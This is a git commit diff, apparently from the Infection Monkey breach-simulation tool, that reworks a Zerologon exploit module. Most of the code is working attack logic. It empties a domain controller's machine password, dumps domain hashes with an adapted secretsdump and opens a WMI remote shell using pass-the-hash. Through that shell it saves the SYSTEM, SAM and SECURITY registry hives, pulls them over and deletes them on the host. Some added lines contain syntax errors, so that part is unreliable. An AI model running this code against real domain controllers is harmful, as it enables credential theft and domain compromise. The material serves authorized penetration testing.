Clean up code and comments
This commit is contained in:
parent
53ef6feadf
commit
13ef69c3ed
|
@ -15,7 +15,9 @@ import os
|
||||||
import re
|
import re
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
|
import traceback
|
||||||
from binascii import hexlify, unhexlify
|
from binascii import hexlify, unhexlify
|
||||||
|
from typing import List
|
||||||
|
|
||||||
import impacket
|
import impacket
|
||||||
from Cryptodome.Cipher import AES, ARC4, DES
|
from Cryptodome.Cipher import AES, ARC4, DES
|
||||||
|
@ -43,7 +45,7 @@ _orig_stdout = None
|
||||||
_new_stdout = None
|
_new_stdout = None
|
||||||
|
|
||||||
|
|
||||||
def _set_stdout_to_in_memory():
|
def _set_stdout_to_in_memory_text_stream():
|
||||||
# set stdout to in-memory text stream, to capture info that would otherwise be printed
|
# set stdout to in-memory text stream, to capture info that would otherwise be printed
|
||||||
_orig_stdout = sys.stdout
|
_orig_stdout = sys.stdout
|
||||||
_new_stdout = io.StringIO()
|
_new_stdout = io.StringIO()
|
||||||
|
@ -65,16 +67,19 @@ class ZerologonExploiter(HostExploiter):
|
||||||
{
|
{
|
||||||
'aes_key': None,
|
'aes_key': None,
|
||||||
'bootkey': None,
|
'bootkey': None,
|
||||||
|
'can_process_SAM_LSA': True,
|
||||||
'dc_ip': None,
|
'dc_ip': None,
|
||||||
'debug': False,
|
'debug': False,
|
||||||
'exec_method': 'smbexec',
|
'exec_method': 'smbexec',
|
||||||
'hashes': None,
|
'hashes': None,
|
||||||
'history': False,
|
'history': False,
|
||||||
|
'is_remote' True,
|
||||||
'just_dc': True,
|
'just_dc': True,
|
||||||
'just_dc_ntlm': False,
|
'just_dc_ntlm': False,
|
||||||
'just_dc_user': None,
|
'just_dc_user': None,
|
||||||
'k': False,
|
'k': False,
|
||||||
'keytab': None,
|
'keytab': None,
|
||||||
|
'no_lmhash': True,
|
||||||
'no_pass': True,
|
'no_pass': True,
|
||||||
'ntds': None,
|
'ntds': None,
|
||||||
'outputfile': None,
|
'outputfile': None,
|
||||||
|
@ -96,7 +101,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
self.zerologon_finger = ZerologonFinger()
|
self.zerologon_finger = ZerologonFinger()
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self):
|
||||||
DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details()
|
DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details()
|
||||||
|
|
||||||
if self.is_exploitable():
|
if self.is_exploitable():
|
||||||
LOG.info("Target vulnerable, changing account password to empty string.")
|
LOG.info("Target vulnerable, changing account password to empty string.")
|
||||||
|
@ -127,19 +132,21 @@ class ZerologonExploiter(HostExploiter):
|
||||||
else:
|
else:
|
||||||
LOG.info("Non-zero return code, something went wrong.")
|
LOG.info("Non-zero return code, something went wrong.")
|
||||||
|
|
||||||
# restore password
|
_exploited = True
|
||||||
self.restore_password(DC_HANDLE, DC_IP, DC_NAME)
|
|
||||||
|
|
||||||
## how do i execute monkey on the exploited machine?
|
## how do i execute monkey on the exploited machine?
|
||||||
|
|
||||||
else:
|
else:
|
||||||
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
||||||
|
_exploited = False
|
||||||
|
|
||||||
def get_dc_details(self):
|
# Restore DC's original password.
|
||||||
dc_ip = self.host.ip_addr
|
if _exploited:
|
||||||
dc_name = self.zerologon_finger.get_dc_name(dc_ip)
|
try:
|
||||||
dc_handle = '\\\\' + dc_name
|
self.restore_password(DC_HANDLE, DC_IP, DC_NAME)
|
||||||
return dc_ip, dc_name, dc_handle
|
LOG.info("System exploited and password restored successfully.")
|
||||||
|
except:
|
||||||
|
LOG.info("System exploited but couldn't restore password!")
|
||||||
|
|
||||||
def is_exploitable(self):
|
def is_exploitable(self):
|
||||||
return self.zerologon_finger.get_host_fingerprint(self.host)
|
return self.zerologon_finger.get_host_fingerprint(self.host)
|
||||||
|
@ -166,7 +173,6 @@ class ZerologonExploiter(HostExploiter):
|
||||||
return rpc_con.request(request)
|
return rpc_con.request(request)
|
||||||
|
|
||||||
def restore_password(self, DC_HANDLE, DC_IP, DC_NAME):
|
def restore_password(self, DC_HANDLE, DC_IP, DC_NAME):
|
||||||
# Keep authenticating until successful.
|
|
||||||
LOG.info("Restoring original password...")
|
LOG.info("Restoring original password...")
|
||||||
|
|
||||||
LOG.info("DCSync; getting original password hashes.")
|
LOG.info("DCSync; getting original password hashes.")
|
||||||
|
@ -177,7 +183,10 @@ class ZerologonExploiter(HostExploiter):
|
||||||
raise Exception("Couldn't extract admin password's hashes.")
|
raise Exception("Couldn't extract admin password's hashes.")
|
||||||
|
|
||||||
original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes)
|
original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes)
|
||||||
|
if not original_pwd_nthash:
|
||||||
|
raise Exception("Couldn't extract original DC password's nthash.")
|
||||||
|
|
||||||
|
# Keep authenticating until successful.
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
|
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
|
||||||
if rpc_con is not None:
|
if rpc_con is not None:
|
||||||
|
@ -195,67 +204,63 @@ class ZerologonExploiter(HostExploiter):
|
||||||
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
||||||
options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
|
options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||||
options['target_ip'] = DC_IP
|
options['target_ip'] = DC_IP
|
||||||
|
options['dc_ip'] = DC_IP
|
||||||
|
|
||||||
domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
dumped_secrets = self.get_dumped_secrets(options=options
|
||||||
options['target']).groups('')
|
remote_name=DC_IP,
|
||||||
|
username=DC_NAME)
|
||||||
# In case the password contains '@'
|
|
||||||
if '@' in remote_name:
|
|
||||||
password = password + '@' + remote_name.rpartition('@')[0]
|
|
||||||
remote_name = remote_name.rpartition('@')[2]
|
|
||||||
|
|
||||||
dumped_secrets = self.get_dumped_secrets(remote_name=remote_name,
|
|
||||||
username=username,
|
|
||||||
password=password,
|
|
||||||
domain=domain,
|
|
||||||
options=options)
|
|
||||||
for secret in dumped_secrets:
|
for secret in dumped_secrets:
|
||||||
if 'Administrator' in secret:
|
if 'Administrator' in secret:
|
||||||
hashes = secret.split(':')[2:4] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::"
|
hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::"
|
||||||
return ':'.join(hashes) # format - "lmhash:nthash"
|
return ':'.join(hashes) # format - "lmhash:nthash"
|
||||||
|
|
||||||
def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes):
|
def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes) -> str:
|
||||||
self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes)
|
if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes):
|
||||||
|
return
|
||||||
|
|
||||||
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
||||||
for name in ['system', 'sam', 'security']:
|
for name in ['system', 'sam', 'security']:
|
||||||
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
||||||
|
options['dc_ip'] = DC_IP
|
||||||
|
|
||||||
dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL',
|
dumped_secrets = self.get_dumped_secrets(options=options,
|
||||||
options=options)
|
remote_name='LOCAL')
|
||||||
for secret in dumped_secrets:
|
for secret in dumped_secrets:
|
||||||
if '$MACHINE.ACC: ' in secret: # format - "$MACHINE.ACC: lmhash:nthash"
|
if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash"
|
||||||
nthash = secret.split(':')[-1]
|
nthash = secret.split(':')[2]
|
||||||
return nthash
|
return nthash
|
||||||
|
|
||||||
def get_dumped_secrets(self, remote_name='', username='', password='', domain='', options):
|
def get_dumped_secrets(self, options, remote_name='', username='', password='', domain='') -> List[str]:
|
||||||
dumper = DumpSecrets(remote_name, username, password, domain, options)
|
dumper = DumpSecrets(remote_name, username, password, domain, options)
|
||||||
dumped_secrets = dumper.dump().split('\n')
|
dumped_secrets = dumper.dump().split('\n')
|
||||||
return dumped_secrets
|
return dumped_secrets
|
||||||
|
|
||||||
def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes):
|
def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes):
|
||||||
remote_shell = WmiexecRemoteShell(host=self.host,
|
wmiexec = Wmiexec(ip=DC_IP,
|
||||||
username='Administrator',
|
username='Administrator',
|
||||||
domain=DC_IP,
|
hashes=admin_pwd_hashes,
|
||||||
hashes=':'.join(admin_pwd_hashes))
|
domain=DC_IP)
|
||||||
if remote_shell:
|
|
||||||
_set_stdout_to_in_memory()
|
|
||||||
|
|
||||||
# save HKLM keys on host
|
remote_shell = wmiexec.run()
|
||||||
|
if remote_shell:
|
||||||
|
_set_stdout_to_in_memory_text_stream()
|
||||||
|
|
||||||
|
# Save HKLM keys on host.
|
||||||
shell.onecmd('reg save HKLM\SYSTEM system.save && ' +
|
shell.onecmd('reg save HKLM\SYSTEM system.save && ' +
|
||||||
'reg save HKLM\SAM sam.save && ' +
|
'reg save HKLM\SAM sam.save && ' +
|
||||||
'reg save HKLM\SECURITY security.save')
|
'reg save HKLM\SECURITY security.save')
|
||||||
|
|
||||||
# get HKLM keys locally (can't run these together because it needs to call do_get())
|
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
|
||||||
shell.onecmd('get system.save')
|
shell.onecmd('get system.save')
|
||||||
shell.onecmd('get sam.save')
|
shell.onecmd('get sam.save')
|
||||||
shell.onecmd('get security.save')
|
shell.onecmd('get security.save')
|
||||||
|
|
||||||
# delete saved keys from host
|
# Delete saved keys on host.
|
||||||
shell.onecmd('del /f system.save sam.save security.save')
|
shell.onecmd('del /f system.save sam.save security.save')
|
||||||
|
|
||||||
info = _unset_stdout_and_return_captured()
|
info = _unset_stdout_and_return_captured()
|
||||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||||
|
return True
|
||||||
|
|
||||||
else:
|
else:
|
||||||
raise Exception("Could not start remote shell on DC.")
|
raise Exception("Could not start remote shell on DC.")
|
||||||
|
@ -364,8 +369,8 @@ class DumpSecrets:
|
||||||
self.__sam_hive = options['sam']
|
self.__sam_hive = options['sam']
|
||||||
self.__ntds_file = options['ntds']
|
self.__ntds_file = options['ntds']
|
||||||
self.__history = options['history']
|
self.__history = options['history']
|
||||||
self.__no_lmhash = True
|
self.__no_lmhash = options['no_lmhash']
|
||||||
self.__is_remote = True
|
self.__is_remote = options['is_remote']
|
||||||
self.__output_file_name = options['outputfile']
|
self.__output_file_name = options['outputfile']
|
||||||
self.__do_kerberos = options['k']
|
self.__do_kerberos = options['k']
|
||||||
self.__just_DC = options['just_dc']
|
self.__just_DC = options['just_dc']
|
||||||
|
@ -374,7 +379,7 @@ class DumpSecrets:
|
||||||
self.__pwd_last_set = options['pwd_last_set']
|
self.__pwd_last_set = options['pwd_last_set']
|
||||||
self.__print_user_status = options['user_status']
|
self.__print_user_status = options['user_status']
|
||||||
self.__resume_file_name = options['resumefile']
|
self.__resume_file_name = options['resumefile']
|
||||||
self.__can_process_SAM_LSA = True
|
self.__can_process_SAM_LSA = options['can_process_SAM_LSA']
|
||||||
self.__kdc_host = options['dc_ip']
|
self.__kdc_host = options['dc_ip']
|
||||||
self.__options = options
|
self.__options = options
|
||||||
|
|
||||||
|
@ -386,7 +391,7 @@ class DumpSecrets:
|
||||||
self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||||
|
|
||||||
def dump(self):
|
def dump(self):
|
||||||
_set_stdout_in_memory()
|
_set_stdout_to_in_memory_text_stream()
|
||||||
dumped_secrets = ''
|
dumped_secrets = ''
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
@ -397,7 +402,7 @@ class DumpSecrets:
|
||||||
local_operations = LocalOperations(self.__system_hive)
|
local_operations = LocalOperations(self.__system_hive)
|
||||||
bootkey = local_operations.getBootKey()
|
bootkey = local_operations.getBootKey()
|
||||||
if self.__ntds_file is not None:
|
if self.__ntds_file is not None:
|
||||||
# Let's grab target's configuration about LM Hashes storage
|
# Let's grab target's configuration about LM Hashes storage.
|
||||||
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
|
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
|
||||||
else:
|
else:
|
||||||
import binascii
|
import binascii
|
||||||
|
@ -424,20 +429,20 @@ class DumpSecrets:
|
||||||
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
|
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
|
||||||
self.__remote_ops.enableRegistry()
|
self.__remote_ops.enableRegistry()
|
||||||
bootkey = self.__remote_ops.getBootKey()
|
bootkey = self.__remote_ops.getBootKey()
|
||||||
# Let's check whether target system stores LM Hashes
|
# Let's check whether target system stores LM Hashes.
|
||||||
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
|
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
self.__can_process_SAM_LSA = False
|
self.__can_process_SAM_LSA = False
|
||||||
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
|
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
|
||||||
and self.__do_kerberos is True:
|
and self.__do_kerberos is True:
|
||||||
# Giving some hints here when SPN target name validation is set to something different to Off
|
# Giving some hints here when SPN target name validation is set to something different to Off.
|
||||||
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/
|
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
|
||||||
LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
|
LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
|
||||||
'Try -just-dc-user')
|
'Try -just-dc-user')
|
||||||
else:
|
else:
|
||||||
LOG.error('RemoteOperations failed: %s' % str(e))
|
LOG.error('RemoteOperations failed: %s' % str(e))
|
||||||
|
|
||||||
# If RemoteOperations succeeded, then we can extract SAM and LSA
|
# If RemoteOperations succeeded, then we can extract SAM and LSA.
|
||||||
if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA:
|
if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA:
|
||||||
try:
|
try:
|
||||||
if self.__is_remote is True:
|
if self.__is_remote is True:
|
||||||
|
@ -467,12 +472,10 @@ class DumpSecrets:
|
||||||
if self.__output_file_name is not None:
|
if self.__output_file_name is not None:
|
||||||
self.__LSA_secrets.exportSecrets(self.__output_file_name)
|
self.__LSA_secrets.exportSecrets(self.__output_file_name)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
if logging.getLogger().level == logging.DEBUG:
|
LOG.debug(traceback.print_exc())
|
||||||
import traceback
|
|
||||||
traceback.print_exc()
|
|
||||||
LOG.error('LSA hashes extraction failed: %s' % str(e))
|
LOG.error('LSA hashes extraction failed: %s' % str(e))
|
||||||
|
|
||||||
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
|
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
|
||||||
if self.__is_remote is True:
|
if self.__is_remote is True:
|
||||||
if self.__use_VSS_method and self.__remote_ops is not None:
|
if self.__use_VSS_method and self.__remote_ops is not None:
|
||||||
NTDS_file_name = self.__remote_ops.saveNTDS()
|
NTDS_file_name = self.__remote_ops.saveNTDS()
|
||||||
|
@ -490,16 +493,14 @@ class DumpSecrets:
|
||||||
try:
|
try:
|
||||||
self.__NTDS_hashes.dump()
|
self.__NTDS_hashes.dump()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
if logging.getLogger().level == logging.DEBUG:
|
LOG.debug(traceback.print_exc())
|
||||||
import traceback
|
|
||||||
traceback.print_exc()
|
|
||||||
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
||||||
# We don't store the resume file if this error happened, since this error is related to lack
|
# We don't store the resume file if this error happened, since this error is related to lack
|
||||||
# of enough privileges to access DRSUAPI.
|
# of enough privileges to access DRSUAPI.
|
||||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||||
if resume_file is not None:
|
if resume_file is not None:
|
||||||
os.unlink(resume_file)
|
os.unlink(resume_file)
|
||||||
logging.error(e)
|
LOG.error(e)
|
||||||
if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0:
|
if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0:
|
||||||
LOG.error("You just got that error because there might be some duplicates of the same name. "
|
LOG.error("You just got that error because there might be some duplicates of the same name. "
|
||||||
"Try specifying the domain name for the user as well. It is important to specify it "
|
"Try specifying the domain name for the user as well. It is important to specify it "
|
||||||
|
@ -508,8 +509,7 @@ class DumpSecrets:
|
||||||
LOG.error('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
LOG.error('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
||||||
self.cleanup()
|
self.cleanup()
|
||||||
except (Exception, KeyboardInterrupt) as e:
|
except (Exception, KeyboardInterrupt) as e:
|
||||||
import traceback
|
LOG.debug(traceback.print_exc())
|
||||||
print(traceback.format_exc())
|
|
||||||
LOG.error(e)
|
LOG.error(e)
|
||||||
if self.__NTDS_hashes is not None:
|
if self.__NTDS_hashes is not None:
|
||||||
if isinstance(e, KeyboardInterrupt):
|
if isinstance(e, KeyboardInterrupt):
|
||||||
|
@ -544,12 +544,11 @@ class DumpSecrets:
|
||||||
|
|
||||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||||
# Used to get HKLM keys for restoring original DC password
|
# Used to get HKLM keys for restoring original DC password
|
||||||
class WmiexecRemoteShell:
|
class Wmiexec:
|
||||||
OUTPUT_FILENAME = '__' + str(time.time())
|
OUTPUT_FILENAME = '__' + str(time.time())
|
||||||
CODEC = sys.stdout.encoding
|
|
||||||
|
|
||||||
def __init__(self, host, username, password='', domain='', hashes, share=None, noOutput=False):
|
def __init__(self, ip, username, hashes, password='', domain='', share=None, noOutput=False):
|
||||||
self.host = host
|
self.__ip = ip
|
||||||
self.__username = username
|
self.__username = username
|
||||||
self.__password = password
|
self.__password = password
|
||||||
self.__domain = domain
|
self.__domain = domain
|
||||||
|
@ -560,14 +559,14 @@ class WmiexecRemoteShell:
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
if self.__noOutput is False:
|
if self.__noOutput is False:
|
||||||
smbConnection = SMBConnection(self.host.ip_addr, self.host.ip_addr)
|
smbConnection = SMBConnection(self.__ip, self.__ip)
|
||||||
smbConnection.login(user=self.__username,
|
smbConnection.login(user=self.__username,
|
||||||
password=self.__password,
|
password=self.__password,
|
||||||
domain=self.__domain,
|
domain=self.__domain,
|
||||||
lmhash=self.__lmhash,
|
lmhash=self.__lmhash,
|
||||||
nthash=self.__nthash)
|
nthash=self.__nthash)
|
||||||
|
|
||||||
dcom = DCOMConnection(target=self.host.ip_addr,
|
dcom = DCOMConnection(target=self.__ip,
|
||||||
username=self.__username,
|
username=self.__username,
|
||||||
password=self.__password,
|
password=self.__password,
|
||||||
domain=self.__domain,
|
domain=self.__domain,
|
||||||
|
@ -583,8 +582,9 @@ class WmiexecRemoteShell:
|
||||||
|
|
||||||
win32Process, _ = iWbemServices.GetObject('Win32_Process')
|
win32Process, _ = iWbemServices.GetObject('Win32_Process')
|
||||||
|
|
||||||
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
|
self.shell = RemoteShell(self.__share, win32Process, smbConnection, OUTPUT_FILENAME)
|
||||||
# return self.shell?
|
return self.shell
|
||||||
|
|
||||||
except (Exception, KeyboardInterrupt) as e:
|
except (Exception, KeyboardInterrupt) as e:
|
||||||
LOG.error(str(e))
|
LOG.error(str(e))
|
||||||
smbConnection.logoff()
|
smbConnection.logoff()
|
||||||
|
@ -594,10 +594,12 @@ class WmiexecRemoteShell:
|
||||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||||
# Used to start remote shell on victim
|
# Used to start remote shell on victim
|
||||||
class RemoteShell(cmd.Cmd):
|
class RemoteShell(cmd.Cmd):
|
||||||
def __init__(self, share, win32Process, smbConnection):
|
CODEC = sys.stdout.encoding
|
||||||
|
|
||||||
|
def __init__(self, share, win32Process, smbConnection, outputFilename):
|
||||||
cmd.Cmd.__init__(self)
|
cmd.Cmd.__init__(self)
|
||||||
self.__share = share
|
self.__share = share
|
||||||
self.__output = '\\' + self.OUTPUT_FILENAME
|
self.__output = '\\' + outputFilename
|
||||||
self.__outputBuffer = str('')
|
self.__outputBuffer = str('')
|
||||||
self.__shell = 'cmd.exe /Q /c '
|
self.__shell = 'cmd.exe /Q /c '
|
||||||
self.__win32Process = win32Process
|
self.__win32Process = win32Process
|
||||||
|
@ -644,16 +646,16 @@ class RemoteShell(cmd.Cmd):
|
||||||
self.__outputBuffer = ''
|
self.__outputBuffer = ''
|
||||||
|
|
||||||
def default(self, line):
|
def default(self, line):
|
||||||
# Let's try to guess if the user is trying to change drive
|
# Let's try to guess if the user is trying to change drive.
|
||||||
if len(line) == 2 and line[1] == ':':
|
if len(line) == 2 and line[1] == ':':
|
||||||
# Execute the command and see if the drive is valid
|
# Execute the command and see if the drive is valid.
|
||||||
self.execute_remote(line)
|
self.execute_remote(line)
|
||||||
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
||||||
# Something went wrong
|
# Something went wrong.
|
||||||
print(self.__outputBuffer)
|
print(self.__outputBuffer)
|
||||||
self.__outputBuffer = ''
|
self.__outputBuffer = ''
|
||||||
else:
|
else:
|
||||||
# Drive valid, now we should get the current path
|
# Drive valid, now we should get the current path.
|
||||||
self.__pwd = line
|
self.__pwd = line
|
||||||
self.execute_remote('cd ')
|
self.execute_remote('cd ')
|
||||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||||
|
@ -683,11 +685,11 @@ class RemoteShell(cmd.Cmd):
|
||||||
break
|
break
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
|
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
|
||||||
# Output not finished, let's wait
|
# Output not finished, let's wait.
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
pass
|
pass
|
||||||
elif str(e).find('Broken') >= 0:
|
elif str(e).find('Broken') >= 0:
|
||||||
# The SMB Connection might have timed out, let's try reconnecting
|
# The SMB Connection might have timed out, let's try reconnecting.
|
||||||
LOG.debug('Connection broken, trying to recreate it')
|
LOG.debug('Connection broken, trying to recreate it')
|
||||||
self.__transferClient.reconnect()
|
self.__transferClient.reconnect()
|
||||||
return self.get_output()
|
return self.get_output()
|
||||||
|
|
|
@ -22,14 +22,12 @@ class ZerologonFinger(HostFinger):
|
||||||
Checks if the Windows Server is vulnerable to Zerologon.
|
Checks if the Windows Server is vulnerable to Zerologon.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
DC_IP = host.ip_addr
|
DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details()
|
||||||
DC_NAME = self.get_dc_name(DC_IP)
|
|
||||||
|
|
||||||
if DC_NAME: # if it is a Windows DC
|
if DC_NAME: # if it is a Windows DC
|
||||||
# Keep authenticating until successful.
|
# Keep authenticating until successful.
|
||||||
# Expected average number of attempts needed: 256.
|
# Expected average number of attempts needed: 256.
|
||||||
# Approximate time taken by 2000 attempts: 40 seconds.
|
# Approximate time taken by 2000 attempts: 40 seconds.
|
||||||
DC_HANDLE = '\\\\' + DC_NAME
|
|
||||||
|
|
||||||
LOG.info('Performing Zerologon authentication attempts...')
|
LOG.info('Performing Zerologon authentication attempts...')
|
||||||
rpc_con = None
|
rpc_con = None
|
||||||
|
@ -57,6 +55,12 @@ class ZerologonFinger(HostFinger):
|
||||||
LOG.info('Error encountered; most likely not a Windows Domain Controller.')
|
LOG.info('Error encountered; most likely not a Windows Domain Controller.')
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
def get_dc_details(self):
|
||||||
|
DC_IP = self.host.ip_addr
|
||||||
|
DC_NAME = self.get_dc_name(DC_IP)
|
||||||
|
DC_HANDLE = '\\\\' + DC_NAME
|
||||||
|
return DC_IP, DC_NAME, DC_HANDLE
|
||||||
|
|
||||||
def get_dc_name(self, DC_IP):
|
def get_dc_name(self, DC_IP):
|
||||||
"""
|
"""
|
||||||
Gets NetBIOS name of the Domain Controller (DC).
|
Gets NetBIOS name of the Domain Controller (DC).
|
||||||
|
|
Loading…
Reference in New Issue